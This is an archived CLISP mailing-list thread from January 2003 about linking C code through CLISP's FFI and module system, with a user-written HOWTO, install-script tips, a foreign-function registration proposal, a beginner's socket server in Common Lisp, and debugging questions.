Teemu's is a complete implementation of the FastCGI binary packet
protocol in Lisp, from scratch.

---
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Much confusion and the docs aren't clear enough for me. :( But if someone
helps me out, I'll promise to write a tutorial as soon as I figure this
out...

From the imp. notes:

"A foreign function description is written as a Lisp file, and when
compiled it produces a #P".c" file which is then compiled by the C compiler
and may be linked together with lisp.a."

This seem simple enough. The trouble is that the later examples show the
contents fo a c-file and a lisp-file and then hit the shell prompt with
fury:

"$ clisp-link create-module-set cfun callcfun.c
$ cc -O -c cfun.c
$ cd cfun
$ ln -s ../cfun.o cfun.o
Add cfun.o to NEW_LIBS and NEW_FILES in link.sh.
$ cd ..
$ base/lisp.run -M base/lispinit.mem -c callcfun.lisp
$ clisp-link add-module-set cfun base base+cfun
$ base+cfun/lisp.run -M base+cfun/lispinit.mem -i callcfun
> (test-c-call::call-cfun)"

My problem is twofold:

1) I'd like to get the example to work. I can't.
2) I'd like to understand what I'm doing. Unfortunately the magic mantras
   are a bit low on explanations.

Following the example (on Debian testing, for what it's worth) I hit to
first bump right at the beginning: no clisp-link. Ah! It's in
/usr/lib/clisp! Ok:

$ sudo ln -s /usr/lib/clisp/clisp-link /usr/bin/clisp-link

Then it seems theat I need linkkit-dir in current dir. Ok:

$ cp -r /usr/lib/clisp/linkkit .

Smooth sailing for a while, then I need to amend the correct directory:

$ base/lisp.run -M /usr/lib/clis/base/lispinit.mem -c callcfun.lisp

Same here:

$ clisp-link add-module-set cfun /usr/lib/clisp/base base+cfun

Then I seem to be missing lisp.run and lispinit.mem from
base+cfun. Symlink originals and try again: works. Almost: FFI complains
that the foreign function does not exist + the lisp seems to be missing
quite a few functions, EXIT & co. among them... Ctrl-Z and kill the bugger,
then write here for help...

One source of confusion is that the linking procedure is obscured by
clisp-link, which seems to be documented nowehere.

Are there better docs somewhere?

Also, am I interpreting this correctly when I think that to call a foreign
function with clisp you need to link the extension to clisp statically --
no dlopen available?

Also, does anyone have experience with using code depending on the Boehm GC
via clisp's ffi: any serious troubles to be expected?

Thanks,

  -- Nikodemus



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On Mon, 13 Jan 2003, Nikodemus Siivola wrote:

> Much confusion and the docs aren't clear enough for me. :( But if someone

After some fast and furious head-banging I finally got it working. Somehow.
Lot's of unclear issues as of yet, but no matter.

However, since this *is* answered in the FAQ, but the entry wasn't all that
helpful for me I recorded the entire process to the best (sic!) of my
understanding into a small HOWTO, for the next bungler like me.

It's not much -- basically just a more spelled out version of what's in the
Implementation Notes.

Cheers,

  -- Nikodemus

--
CLISP-FFI-HOWTO

 Nikodemus Siivola

 Version 0.1, 2003-01-14


Foreword
--------

This is a short guide to extending CLISP on Debian sarge via it's FFI and
module facilities. Even though it may be helpful on other platforms as
well, no attempt at platform-agnosticism has been made. Please email any
comments, corrections and additions to tsiivola@cc.hut.fi.

This guide is by no means meant to be authoritative: merely a
collection of the bumps the author hit along to road and how he
managed to steer clear of them.

For *real* documentation read the CLISP Implementation Notes

 /usr/share/doc/clisp/doc/impnotes.html

 or

 http://clisp.cons.org/impnotes.html

and the CLISP manual page.

Also check out the source:

 apt-get source clisp

And see clisp-2.28/modules/*


Preliminaries
-------------

Unfortunately the current version in sarge (clisp-1:2.28-1) installs
clisp-link into /usr/lib/clisp, which is not in PATH, so you
need to either:

 a) symlink it to /usr/bin

 b) add /usr/lib/clisp to your PATH

 c) alias clisp-link=/usr/lib/clisp/clisp-link

Also, you want have to set up correct environment variables:

 export CLISP_LINKKIT=/usr/lib/clisp/linkkit


Interface and Extension
-----------------------

For the sake of argument, start in a clean directory with the
following files, containg a minimal extension and an interface
for it.

Extension is in vector.c:

--
#include <stdio.h>

typedef float float_t;
typedef float_t vector_t[3];

float_t dot_product (vector_t, vector_t);

float_t
dot_product (vector_t a, vector_t b)
{
  float_t x = 0;
  int i = 0;
  for (i=0; i<3; i++)
    x += a[i] * b[i];
  return x;
}
--

Compile it without linking:

 $ cc -c vector.c

Interface is in vector-interface.lisp:

--
(ffi:def-call-out dot-product
	  (:name "dot_product")
	  (:language :stdc)
	  (:arguments
	   (a (ffi:c-ptr (ffi:c-array single-float 3)))
	   (b (ffi:c-ptr (ffi:c-array single-float 3))))
	  (:return-type single-float))
--

Compile it with clisp:

 $ clisp -c vector-interface.lisp

At this point you working directory should contain:

 vector.c
 vector.o
 vector-interface.lisp
 vector-interface.c
 vector-interface.fas
 vector-interface.lib


Creating the Extension
----------------------

Use clisp-link to create a new module-set named vector-module:

 $ clisp-link create-module-set vector-module vector-interface.c

This should create a subdirectory named vector-module that contains:

 Makefile
 links.sh
 vector-interface.c  (This one should be just a symlink.)

The links.sh needs to be amended: add "vector.o" to NEW_LIBS and
NEW_FILES and "../vector-interface.fas" to TO_LOAD. You should end up
with something like this:

--
file_list=''
mod_list=''
if test -r vector-interface.c; then
  file_list="$file_list"' vector-interface.o'
  mod_list="$mod_list"' vector_interface'
fi
make clisp-module CC="${CC}" CFLAGS="${CFLAGS}" INCLUDES="$absolute_linkkitdir"
NEW_FILES="$file_list vector.o"
NEW_LIBS="$file_list vector.o"
NEW_MODULES="$mod_list"
TO_LOAD='../vector-interface.fas'
--

Due to the deficiencies of our configuration we also need to create a
symlink to vector.o in the vector-module directory:

 $ cd vector-module
 $ ln -s ../vector.o
 $ cd ..

FIXME: ^-- This could probably be avoided. How?

Next step is to generate a new linking-set:

 clisp-link add-module-set vector-module /usr/lib/clisp/base base+vector

This creates the directory base+vector that will contain the extended
CLISP.

Let's try it out:

 $ base+vector/lisp.run -M base+vector/lispinit.mem

 ...

 [1]> (dot-product #(1.0 1.0 1.0) #(1.0 2.0 3.0))
 6.0

Seems ok!


ToDo
----

 - Dynamic linking: is it possible?
 - Writing interfaces / generating them from header-files
 - Using the extended CLISP with command-line arguments
 - More on link.sh
 - clisp-link run





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On Tue, 14 Jan 2003, Nikodemus Siivola wrote:

> Preliminaries
> -------------
> 
> Unfortunately the current version in sarge (clisp-1:2.28-1) installs
> clisp-link into /usr/lib/clisp, which is not in PATH, so you
> need to either:
> 
>  a) symlink it to /usr/bin
> 
>  b) add /usr/lib/clisp to your PATH
> 
>  c) alias clisp-link=/usr/lib/clisp/clisp-link
> 
> Also, you want have to set up correct environment variables:
> 
>  export CLISP_LINKKIT=/usr/lib/clisp/linkkit

This stuff can be automated quite effectively. In the Meta-CVS install
script, I do some crusty shell programming to discover the
installation-specific identity of that directory which is usually 
/usr/lib/clisp:

Firstly, get the path to the clisp executable. It has to be in the
search path.

    if ! CLISP_PATH="$(which clisp)" ; then
      echo clisp command not found
      exit 1
    fi

We assume that the path always ends in PREFIX/bin/clisp, and that the
lib directory is PREFIX/lib/clisp. So we chop off the last two
components, bin/clisp and replace them with lib/clisp. 

    # Hey look, Lispy looking shell crud on the right hand side!
    CLISP_ROOT=$(dirname $(dirname "$CLISP_PATH"))
    CLISP_LIB="$CLISP_ROOT/lib/clisp"

Now we can compute CLISP_LINKKIT:

    CLISP_LINKKIT="$CLISP_LIB/linkkit"

and we can run clisp-link, which lives in $CLISP_LIB, and installs
without execute permissions:

    sh "$CLISP_LIB/clisp-link" add-module-set ... etc


> (ffi:def-call-out dot-product
> 	  (:name "dot_product")
> 	  (:language :stdc)
> 	  (:arguments
> 	   (a (ffi:c-ptr (ffi:c-array single-float 3)))
> 	   (b (ffi:c-ptr (ffi:c-array single-float 3))))
> 	  (:return-type single-float))

To make your tutorial more complete, you might want to also discuss
def-call-in. There are issues there: if you want to use a Lisp function
as a callback, and that function is in a custom package, the build
has to be broken into two steps, because the generated FFI module that
is linked into your lisp executable makes references to the package.
This two-step process is selected in the link.sh script by using the
TO_PRELOAD variable, IIRC. 

The reason that the two-step process is needed is that when your lisp
executable is built with your custom module, the module stub code will
try to access the symbols in your package that are names of the Lisp
call-in functions. This means that the package has to exist, or this
will blow up. So the solution is to first compile the package defintion
to make a custom .mem image, and then use *that* .mem image with the
new lisp executable, to compile the remaining .lisp files and drop  the
final .mem that has everything.

>  $ cd vector-module
>  $ ln -s ../vector.o
>  $ cd ..
> 
> FIXME: ^-- This could probably be avoided. How?

By putting your stub C code into the vector-module subdirectory, and
adding its compilation to the Makefile there.

> Next step is to generate a new linking-set:
> 
>  clisp-link add-module-set vector-module /usr/lib/clisp/base base+vector

This will only work if clisp-link is in your path. Maybe this is fixed
in recent CLISP, but clisp-link ``traditionally'' installs in
$(PREFIX)/lib/clisp, rather than the bin directory, *and* it installs
without execute permissions.

> This creates the directory base+vector that will contain the extended
> CLISP.

Unless the directory exists already in which case it bails.  So to
force a fresh rebuild, you have to manually remove that directory.

>  - Dynamic linking: is it possible?

You bet it's possible. I have successfully wrapped the wxWindows
library, which is dynamically linked itself, and drags in a whole lot
of other dynamically linked crap. There is nothing to it. 

The linking which puts together the lisp.run executable is just
ordinary linking.

>  - Using the extended CLISP with command-line arguments

One way to package up a command line CLISP application is to do it the
way Meta-CVS does it. You create a front-end script which looks like
this:

   #!/path/to/lib/clisp/my-linking-set/lisp.run -M/path/to/lib/clisp/my-linking-set/lispinit.mem
   (my-package:my-main-function ext:*args*)

This script can be generated by another script which sticks in the
correct actual paths.

-- 
Meta-CVS: directory structure versioning; versioned symbolic links;
versioned execute permission; versioned property lists; easy branching
and merging and third party code tracking; all implemented over the
standard CVS command line client -- http://freshmeat.net/projects/mcvs



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On Mon, 13 Jan 2003, Kaz Kylheku wrote:

*snip good stuff*

> By putting your stub C code into the vector-module subdirectory, and
> adding its compilation to the Makefile there.

... what Makefile? The one clisp-link put's there (none that I can see) or
one that I (should) put there? Hmm. Have to think about integrating the FFI
to build-process.

> This will only work if clisp-link is in your path. Maybe this is fixed
> in recent CLISP, but clisp-link ``traditionally'' installs in

See beginning of the howto, in preliminaries. I just made an
alias for the full path, since right now I'm doing this by hand -- and
anything else would be a tad tedious.

> $(PREFIX)/lib/clisp, rather than the bin directory, *and* it installs
> without execute permissions.

Oops. I remember now that I chmodded it a month back -- have to the fix doc
there. Is there a *reason* for no exec permissions?

> You bet it's possible. I have successfully wrapped the wxWindows
> library, which is dynamically linked itself, and drags in a whole lot
> of other dynamically linked crap. There is nothing to it.

Hmm. Any chance of getting my grubby little hands on any code? ;)

> One way to package up a command line CLISP application is to do it the
> way Meta-CVS does it. You create a front-end script which looks like

Seems I'll have to see how MetaCVS handles things...

Thanks,

  -- Nikodemus



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> * In message <Pine.GSO.4.44.0301140143380.9171-100000@kekkonen.cs.hut.fi>
> * On the subject of "[clisp-list] CLISP-FFI-HOWTO (Was: FFI troubles)"
> * Sent on Tue, 14 Jan 2003 02:05:07 +0200 (EET)
> * Honorable Nikodemus Siivola <tsiivola@niksula.hut.fi> writes:
>
> After some fast and furious head-banging I finally got it
> working. Somehow.  Lot's of unclear issues as of yet, but no matter.

if you make it into a web page, I will link to it from the CLISP pages,
but it would be better if you suggested improvements (in the form of
context diffs) to the CLISP implementation notes.

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> * In message <Pine.LNX.4.44.0301131613420.5382-100000@ashi.FootPrints.net>
> * On the subject of "[clisp-list] Re: CLISP-FFI-HOWTO (Was: FFI troubles)"
> * Sent on Mon, 13 Jan 2003 16:38:38 -0800 (PST)
> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
>
> We assume that the path always ends in PREFIX/bin/clisp, and that the
> lib directory is PREFIX/lib/clisp. So we chop off the last two
> components, bin/clisp and replace them with lib/clisp. 
> 
>     # Hey look, Lispy looking shell crud on the right hand side!
>     CLISP_ROOT=$(dirname $(dirname "$CLISP_PATH"))
>     CLISP_LIB="$CLISP_ROOT/lib/clisp"

my CLISP setup would fail this:

$ which clisp
/usr/local/bin/clisp
$ ls -l /usr/local/bin/clisp
   0 lrwxrwxrwx    1 root     root           25 Mar 14  2002 /usr/local/bin/clisp -> ../src/clisp/stable/clisp*
$ ls -l /usr/local/src/clisp/stable
   0 lrwxrwxrwx    1 sds      sds            11 Dec 21 18:25 /usr/local/src/clisp/stable -> stable-2.30/

the fail-safe method is:

$ clisp -q -norc -x '*lib-directory*'
#P"/usr/local/src/clisp/stable-2.30/"
$

see <http://clisp.cons.org/clisp.html#opt-libdir>

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On 13 Jan 2003, Sam Steingold wrote:
> > * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
> >     CLISP_ROOT=$(dirname $(dirname "$CLISP_PATH"))
> >     CLISP_LIB="$CLISP_ROOT/lib/clisp"
> 
> my CLISP setup would fail this:

[ snip ]

> the fail-safe method is:
> 
> $ clisp -q -norc -x '*lib-directory*'
> #P"/usr/local/src/clisp/stable-2.30/"

Okay, I have fixed my install script to do this:

CLISP_LIB=$(clisp -q -norc -x '(progn (princ *lib-directory*) (values))')

Thanks.



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On 13 Jan 2003, Sam Steingold wrote:

> if you make it into a web page, I will link to it from the CLISP pages,
> but it would be better if you suggested improvements (in the form of
> context diffs) to the CLISP implementation notes.

I'll do both. ;)

The webpage is

 http://www.niksula.cs.hut.fi/~tsiivola/clisp-ffi-howto.html

Diffs later.

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As far as I have understood, FFI basically requires using the module
extension, but according to the Imp. Notes it is available for both UNIX
and Win32, but module facility is UNIX only.

Does this mean that

 a) Modules facility works on Win32 as well. (Cygwin? MinGW? M$-based?)
 b) You can use FFI without modules on any platform.
 c) You can use FFI without modules on Win32.
 d) ?

Confused once again,

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> * In message <Pine.GSO.4.44.0301141038070.16367-100000@conflagration.cs.hut.fi>
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>  b) You can use FFI without modules on any platform.

... on which FFI is available

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> * In message <Pine.GSO.4.44.0301140705010.20052-100000@kekkonen.cs.hut.fi>
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>  http://www.niksula.cs.hut.fi/~tsiivola/clisp-ffi-howto.html

great.

1. please spell-check it ("via it's FFI" --> "via its FFI" &c)

2. please turn URLs and into hyperlinks.

3. my I suggest that you validate your HTML with
   <http://validator.w3.org/>?

I linked to you page from the `resources' section on the CLISP site.

thanks.

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On 14 Jan 2003, Sam Steingold wrote:

> 1. please spell-check it ("via it's FFI" --> "via its FFI" &c)

Done, now bad only grammar remains. ;)

> 2. please turn URLs and into hyperlinks.

Done. Lost the visible urls, though (see next).

> 3. my I suggest that you validate your HTML with
>    <http://validator.w3.org/>?

This is unfortunately rather inconvenient, since the html is generated from
simpler, even more braindead markup: check
http://www.niksula.cs.hut.fi/~tsiivola/clisp-ffi-howto.txt for the
original.

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Hi,

When CLISP is running in #!-interpreter mode on Unix, is there any way
of obtaining the namestring of the script?  (In perl for example this
information is available as $0; EXT:*ARGS* only provides argv[1..argc-1]).

A scenario where this information is useful is when launching a Java
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> * In message <wziiswqxq2v.fsf@melbourne.laas.fr>
> * On the subject of "[clisp-list] obtaining script filename in script-interpreter mode"
> * Sent on Wed, 15 Jan 2003 18:47:36 +0100
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> When CLISP is running in #!-interpreter mode on Unix, is there any way
> of obtaining the namestring of the script?  (In perl for example this
> information is available as $0; EXT:*ARGS* only provides argv[1..argc-1]).

CLISP scripts work by loading the script file using the usual CL mechanism:

$ cat >> foo.lisp
#!/usr/local/bin/clisp
(format t "I am ~s~%" *load-truename*)
C-d
$ chmod +x foo.lisp
$ ./foo.lisp
I am #P"/usr/local/src/clisp/current/foo.lisp"
$


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CLISP contains a foreign function and foreign variable registry keyed on 
symbol name, which forbids duplicate registration. If you happen to have 
two FFI modules in your image which try to target the same library 
function, you get a nasty error, such as:

    *** - A foreign function "strerror" already exists
    1. Break [2]>

This is a problem because you have to write your own wrappers for every
library function to ensure it has a unique name, or else risk clashing
with other pwople's modules that you don't even know about. Or you can
use some GNU toolchain extensions to create symbol aliases, if you
don't want wrappers, but that's still annoying.

It would be nice if the foreign function hash table was keyed on something 
other in addition to the name, like maybe it could be an #'equal table
keyed on (list function-name package-name), and some way to specify the
that second element could be worked into the def-call-* macros. Or they
could implicitly pick it up from the current *package*, even.

This seems like a bit of work, because it affects what goes into the .c 
file generated from the FFI .lisp module. E.g. this:

    void module__unix__init_function_2(module)
      var module_t* module;
    {
      register_foreign_function(&strerror,"strerror",1024);
      /*...*/
    }

has to become this:

    void module__unix__init_function_2(module)
      var module_t* module;
    {
      register_foreign_function(&strerror,"strerror","MYPACKAGE",1024);
      /*...*/
    }

And of course register_foreign_function and register_foreign_variable
have to be changed and every place that refers to the hash table and so
forth.

Any other ideas? What if, quite simply, duplicate registrations were
silently permitted? What would break?



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Moin Guru's,

  attached to this mail is my first Common Lisp programm *blush* and
  *uhm well* i did some EMACS/LISP before and i have some reason for
  choosing LISP as the implementation language.
  
  The code fails with related problems.

  - the input method of mucl client does not detect end-of-file.
    There will be a last :input on socket-status, when the client
    closes the connection. The following read() system call, should
    result in 0 or -1. That has to be interpreted as :eof or something
    like that in read-char and read-char-no-hang. So read-line can
    detect it. The :eof will be once raised as non-blocking input
    followed with read() result of -1, and later as an error OF THE
    select() system call.

  - There is a race condition, if the client closed its connection
    during 'tick' (asuming that tick may take longer) between the
    :input and :output socket-status querys. In this case, the
    following socket-status will result in :output (and not :error
    as expected), but a write-line will trigger a SIG_PIPE.
    The race condition could be solved, if the second socket-status
    queries :io and input, is processed before output (for a 2nd
    time) and the read-line end-of-file problem is solved.
    But: how to catch broken pipe signals, as the server should run,
    or is it better (implementation problem similar to Perl) to
    ignore the signal ?

  - Once a client dropped its connection a dead socket is in the
    readfds list. This will cause a socket-status :input to return
    immediate, but the dead socket is neither at :input (for reading
    :eof like the first time directly after client dropped its
    connection) and also not in :error state. Its just nil, so
    the timeout is never reached, and the process is running wild
    till next tick, where it will die with a SIG_PIPE.

  - The code will have to deal with nasty telnet protocols (IAC
    options and commands) are there any low level system-read or
    system-write commands, working more reliable in that context ?

  I've tried several ways to call read-line. e.g as
  (read-line stream nil :my-eof-symbol) but none of them showed
  any end of file condition. I at last tried to read the characters
  one by one - and suprisingly: The -1 from read() system call, is
  interpreted as #\Newline ? So i think i'm lost and hope that someone
  points me to the right place, where to patch read-char and read-line.

  If you want to try the code :

  - install the real read-line again
    g/^.multiple-value-bind/s/mucl-read-line/read-line/
  - start clisp interactive ([m-x]run-lisp)

    (load "mucl-stream")
    (progn
      (unless mucl-running (mucl-open (make-instance 'mucl-server)))
      (setf (mucl-time mucl-running) (truncate (get-internal-real-time) 1000000))
      (setf (mucl-tick mucl-running) (* (truncate (mucl-time mucl-running) 30) 30))
      (dotimes (i 100) (mucl-pulse mucl-running)) )

  - telnet localhost 5555, type something, and look about tick.
    close telnet connection.
  - investigate the clisp debuging output.

  *uh* yes i know lot of this code could/should be improved - PLEASE
  drop me a mail, if your eye catches something that me did plain wrong.

peace on your way,
  Michael

;;; mucl-stream MUCL - Multi User Common Lisp Stream Classes
;;; (c) GNU GPL 2003 

;;; debugging

(defvar mucl-demon nil "demon mode")
(defun mucl-debug (s) "write debug messages, if not in demon mode"
  (unless mucl-demon (write-line s)) nil)
(defvar mucl-running nil "the running MUCL server")

;;; class definitions

(defclass mucl-stream ()
  ((sock :accessor mucl-sock :initarg :sock))
  (:documentation "The basic MUCL stream class"))
(defclass mucl-server (mucl-stream)
  ((port :accessor mucl-port :initform 5555)
   (peer :accessor mucl-peer)
   (hash :accessor mucl-hash)
   (tick :accessor mucl-tick)
   (time :accessor mucl-time))
  (:documentation "The MUCL server stream class"))
(defclass mucl-client (mucl-stream)
  ((buff :accessor mucl-buff)
   (ique :accessor mucl-ique)
   (oque :accessor mucl-oque))
  (:documentation "The MUCL client stream class"))

;;; method definitions

(defgeneric mucl-open  (mucl-stream &optional port)
  (:documentation "Open the object"))
(defgeneric mucl-close (mucl-stream)
  (:documentation "Close the object"))
(defgeneric mucl-input (mucl-stream)
  (:documentation "Receive input"))
(defgeneric mucl-output (mucl-stream)
  (:documentation "Send output"))
(defgeneric mucl-error (mucl-stream)
  (:documentation "Process error"))
(defgeneric mucl-pulse (mucl-stream)
  (:documentation "Process pulse"))

;;; mucl-server implementation

(defmethod mucl-open ((self mucl-server) &optional port)
  (when port (setf (mucl-port self) port))
  (setf (mucl-sock self) (socket-server (mucl-port self)))
  (setf (mucl-peer self) nil)
  (setf (mucl-hash self) nil)
  (setq mucl-running self)
  (mucl-debug "MUCL server open") )
(defmethod mucl-close ((self mucl-server))
  (socket-server-close (mucl-sock self))
  (setf (mucl-sock self) nil)
  (setq mucl-running nil)
  (mucl-debug "MUCL server close") )
(defmethod mucl-input ((self mucl-server))
  (let ((p (make-instance 'mucl-client)))
    (mucl-open p (socket-accept (mucl-sock self)))
    (mucl-debug "MUCL server accept") ))
(defmethod mucl-output ((self mucl-server))
  (mucl-debug "MUCL server output error")
  (mucl-close self))
(defmethod mucl-error ((self mucl-server))
  (mucl-debug "MUCL server error")
  (mucl-close self))
(defmethod mucl-pulse ((self mucl-server))
  (let (socks stats time)
    (when mucl-running
      (setq socks (cons (mucl-sock self)
			(mapcar #'(lambda (s)
				    (cons (mucl-sock s) :input))
				(mucl-peer self)) ))
      (setq stats (socket-status socks 5 50000))
      (mucl-stream-loop socks stats) )
    (setq time (truncate (get-internal-real-time) 1000000))
    (when (>= time (mucl-tick self))
      (setf (mucl-tick self) (+ (mucl-tick self) 30))
      (mucl-debug (format nil "MUCL server tick ~A"
			  (mucl-date time) ))
      (let ((s (format nil "tick ~A~%" (mucl-date time)) ))
	(dolist (p (mucl-peer self)) (mucl-queue p s))))
    (when (and mucl-running (mucl-peer self))
      (setq socks (mapcar #'(lambda (s)
			      (cons (mucl-sock s) :output))
			  (mucl-peer self)) )
      (setq stats (socket-status socks 0 50000))
      (mucl-stream-loop socks stats) )))

;;; MUCL client method implementation

(defmethod mucl-open ((self mucl-client) &optional sock)
  (when sock
    (setf (mucl-oque self) nil)
    (setf (mucl-ique self) nil)
    (setf (mucl-buff self) nil)
    (setf (mucl-sock self) sock)
    (setf (mucl-hash mucl-running) nil)
    (push self (mucl-peer mucl-running))
    (mucl-debug "MUCL client open") ))
(defmethod mucl-close ((self mucl-client))
  (close (mucl-sock self))
  (setf (mucl-sock self) nil)
  (setf (mucl-hash mucl-running) nil)
  (delete self (mucl-peer mucl-running))
  (mucl-debug "MUCL client close") )
(defun mucl-read-line (stream)
  (let ((buffer (make-array 10 :element-type 'character
			    :adjustable t :fill-pointer 0)))
    (loop
     (let ((c (read-char stream)))
       (mucl-debug (format nil "[~A]" c))
       (cond ((not c)
	      (return (values nil t)))
	     ((eq c ':EOF)
	      (return (values (coerce buffer 'simple-string) t)))
	     ((eql c #\Newline)
	      (return (values (coerce buffer 'simple-string) nil)))
	     (t (vector-push-extend c buffer))
	     )))))
(defmethod mucl-input ((self mucl-client))
  (multiple-value-bind (l f) (mucl-read-line (mucl-sock self))
    (mucl-debug (format nil "MUCL process (~A|~A)~%" l f))
    (if (or f (not l))
	(mucl-close self)
      (mucl-debug (format nil "MUCL process (~A)~%" l)) )))
(defmethod mucl-output ((self mucl-client))
  (when (mucl-oque self)
    (write-string (car (mucl-oque self)) (mucl-sock self))
    (setf (mucl-oque self) (cdr (mucl-oque self))) ))
(defmethod mucl-error ((self mucl-client))
  (mucl-debug "MUCL client error")
  (mucl-close self) )
(defun mucl-queue (client string) "queue a string to send a client"
  (setf (mucl-oque client) (append (mucl-oque client) (list string))))

;;; control functions

(defun mucl-stream-loop (socks stats) "loop over socket status"
  (unless (mucl-hash mucl-running)
    (setf (mucl-hash mucl-running)
	  (cons
	   (cons (mucl-sock mucl-running) mucl-running)
	   (mapcar #'(lambda (s)
		       (cons (mucl-sock s) s))
		   (mucl-peer mucl-running)) )))
  (loop
   (unless (car socks) (return))
   (let ((csock (car socks))
	 (cstat (car stats))
	 cstream)
     (when (listp csock) (setq csock (car csock)))
     (setq cstream (cdr (assoc csock (mucl-hash mucl-running))))
     (format t "MUCL check ~A stat ~A~%" csock cstat)
     (if cstream
	 (case cstat
	   ((t :input) (mucl-input cstream))
	   (:output (mucl-output cstream))
	   (:error (mucl-error cstream))
	   (otherwise (when cstat
			(format t "MUCL error ~A stat ~A~%" csock cstat)
			(mucl-error cstream))))
	(format t "MUCL error no object ~A stat ~A hash ~A"
		csock cstat (mucl-hash mucl-running)) ))
   (unless (cdr socks) (return))
   (setq stats (cdr stats))
   (setq socks (cdr socks)) ))
(defun mucl-start () "start MUCL"
  (unless mucl-running (mucl-open (make-instance 'mucl-server)))
  (setf (mucl-time mucl-running) (truncate (get-internal-real-time) 1000000))
  (setf (mucl-tick mucl-running) (* (truncate (mucl-time mucl-running) 30) 30))
  (loop (unless mucl-running (return)) (mucl-pulse mucl-running)) )
(defun mucl-stop () "stop MUCL"
  (when mucl-running (mucl-close mucl-running)))
(defun mucl-date (time &optional shift) "traveller GAME time"
  (let (year date hour min)
    (setq year (truncate time 518400))
    (setq date (- (truncate time 1440) (* year 360)))
    (setq hour (- (truncate time 60) (+ (* year 360 24) (* date 24))))
    (setq min (- time (+ (* hour 60) (* year 518400) (* date 1440))))
    (when shift (setq year (+ year shift)))
    (setq str (format nil "~4D-~3,'0D ~2,'0D:~2,'0D" year date hour min))
    str))

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Kaz Kylheku wrote:

>CLISP contains a foreign function and foreign variable 
>registry keyed on symbol name,
More precisely: On the foreign function name (as seen from C), not on a Lisp symbol name.

Your problem:
Different external modules may attempt to register the same foreign function, e.g. strerror via:
>    void module__unix__init_function_2(module)
>      var module_t* module;
>    {
>      register_foreign_function(&strerror,"strerror",1024);
>      /*...*/
>    }

>    *** - A foreign function "strerror" already exists
>    1. Break [2]>

[...]
>Any other ideas? What if, quite simply, duplicate registrations were
>silently permitted? What would break?
Nothing would break since that did never occur before, as it would have error'ed out.

I think this is the only way to go.

At the level of the executable's symbols, there can be only one with a given name. Prefixing Lisp package names or other random stuff is the wrong way to go.

Only additional check: if the foreign pointer is already valid but now declares a different address then signal an error. If same address as before, everything seems fine.

What's unclear is when the address is the same but the flags are different (e.g. K&R :C vs. ANSI :stdc declaration)
One then would later obtain
      fehler(error,GETTEXT("~: calling conventions for foreign function ~ conflict"));
from FFI::LOOKUP-FOREIGN-FUNCTION

Here I believe people's Lisp sources should be made consistent, e.g. typically enforce :stdc everywhere.

Two addresses for the same name could possibly be different when using dlopen() which may shadow some mapping from name to address?? A problem?


However, having a silent register_foreign_function() is only past the first pitfall you encountered. The next one is FFI::LOOKUP-FOREIGN-FUNCTION which creates the user-accessible foreign function object.

What if the exact :arguments and :return-type definitions differ?
This might signal
      fehler(error,GETTEXT("~: calling conventions for foreign function ~ conflict"));
But this may be impractical. One person could define a parameter as ffi:int, another as ffi:uint etc.

This calls into memory the days where there were few C function prototypes (or only K&R style really incomplete "extern" declarations).

The lesson the C people learnt was: provide correct prototypes (including parameter types, as in ANSI-C) and have everybody use them.

It would be strange if CLISP would permit another behaviour, as if the lesson had not been learnt.

So I think the user's sources must eventually be modified so that they provide the same declarations: :C or :stdC, :arguments and :return-type.

Duplicate registration would then be no problem at all.

But wait, below is a better solution.


			CONCLUSION	-	CONCLUSION

1. please provide patch to register_foreign_function:
  + become silent if both address and flags match
  + error out if flags ("calling conventions ... conflict", as in LOOKUP-FOREIGN-FUNCTION) or address ("ff already exists") differ.

2. Don't modify FFI::LOOKUP-FOREIGN-FUNCTION after all. The flags must agree, but argument types every user may define as s/he likes for the Lisp side of the function.

The ff_flags field which must match includes:
  o :c vs. :stdc
  o :malloc/:alloca for return parameter, not for arguments

As a special exception, the check on matching flags may omit matching :malloc/:alloca return-types in both functions, but probably nobody needs that special case.


An example:

[211]> (ffi:def-c-call-out c-self (:name "ffi_identity") (:arguments (obj ffi:int)) (:return-type ffi:int))
C-SELF
[212]> (ffi:def-c-call-out c-self2 (:name "ffi_identity") (:arguments (obj ffi:c-pointer)) (:return-type ffi:uint))
; cheap FOREIGN-ADDRESS-TO-UNSIGNED [+]
C-SELF2
[213]> (ffi:def-c-call-out c-self3 (:name "ffi_identity") (:arguments (obj ffi:int)) (:return-type ffi:c-pointer))
; cheap UNSIGNED-TO-FOREIGN-ADDRESS [+]
C-SELF3
[214]> (c-self 1)
1
[215]> (c-self3 1)
#<FOREIGN-ADDRESS #x00000001>
[216]> (c-self2 *)
1
[+] both are in core CLISP as built-in functions these days.

BTW, if you want to define or "import" my ffi_identity function (now present in every CLISP >= 2.29/2.30), you'd better use
(EVAL-WHEN (:execute :load-toplevel) (def-c-call-out (:name "ffi_identity") ...))
The compiler should *not* generate an unnecessary external C module for them - keep it out.
Or perhaps use the CLISP extension:
(eval-when ((not compile)) (def-call-out "ffi_identity ...)

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Hi everyone,

Is there a good documentation for the debugging features of Clisp?

I am currently working with a system that I am trying to run under 
Clisp, but which was written primarily for another lisp system. Minor 
differences between these lisps mean that I am having to make slight 
changes to the code to get things working.

My problem is that I am faced with the following error message:

*** - FUNCALL: the function T is undefined

How can I find out where funcall was called from and what it's arguemnt 
was?

(trace funcall) doesn't seem to work in this instance.

I have tried stepping through the top level function call - 
unfortunately, the system I'm working on is rather compicated, meaning 
that stepping through one step at a time is going to take a very long time.

What I want to be able to do is to interrupt the execution just before 
the error occurs to see what the state of the system is there, and what 
the local variables are at that point.

I am fammiliar with the breakpoint options. This tells me about "frames" 
and on printing these I get some variables, but generally not the ones 
I'm interested in.

Is there a concice documentation on whats going on in the "frames" or 
what I can expect to achieve through the debugging system?

Any other suggestions?


Thanks,

Nick.



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> * In message <3E2784EC.8010703@lsd.net.nz>
> * On the subject of "[clisp-list] Debugging in Clisp"
> * Sent on Fri, 17 Jan 2003 17:22:04 +1300
> * Honorable Nick Wright <nick@lsd.net.nz> writes:
>
> Is there a good documentation for the debugging features of Clisp?

<http://clisp.cons.org/impnotes/environment.html#debugger>

> *** - FUNCALL: the function T is undefined
> 
> How can I find out where funcall was called from and what it's
> arguemnt was?

type "where" at the debugging prompt.
you will get more information if your code is interpreted and not
compiled.
type "help" for help.

> (trace funcall) doesn't seem to work in this instance.

it should work - but will not necessarily help you.

(t) does not call FUNCALL but will report this error.

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> * In message <20030116024443.GA3024@bakunin.copyleft.de>
> * On the subject of "[clisp-list] read-line (clisp 2.30/woody)"
